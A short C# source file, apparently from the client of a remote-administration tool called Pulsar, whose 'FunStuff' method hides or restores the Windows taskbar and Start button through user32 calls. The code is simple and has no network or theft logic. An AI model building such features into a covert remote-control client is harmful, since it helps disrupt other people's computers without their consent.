Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

38 lines
1.1 KiB
C#

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Pulsar.Client.FunStuff
{
public class HideTaskbar
{
private const int SW_HIDE = 0;
private const int SW_SHOW = 5;
[DllImport("user32.dll")]
private static extern int FindWindow(string className, string windowText);
[DllImport("user32.dll")]
private static extern int ShowWindow(int hwnd, int command);
public static void DoHideTaskbar()
{
int taskbarHandle = FindWindow("Shell_TrayWnd", "");
int startButtonHandle = FindWindow("Button", "Start");
if (taskbarHandle != 0)
{
int taskbarState = ShowWindow(taskbarHandle, SW_HIDE);
int startButtonState = ShowWindow(startButtonHandle, SW_HIDE);
if (taskbarState == 0 && startButtonState == 0)
{
ShowWindow(taskbarHandle, SW_SHOW);
ShowWindow(startButtonHandle, SW_SHOW);
}
}
}
}
}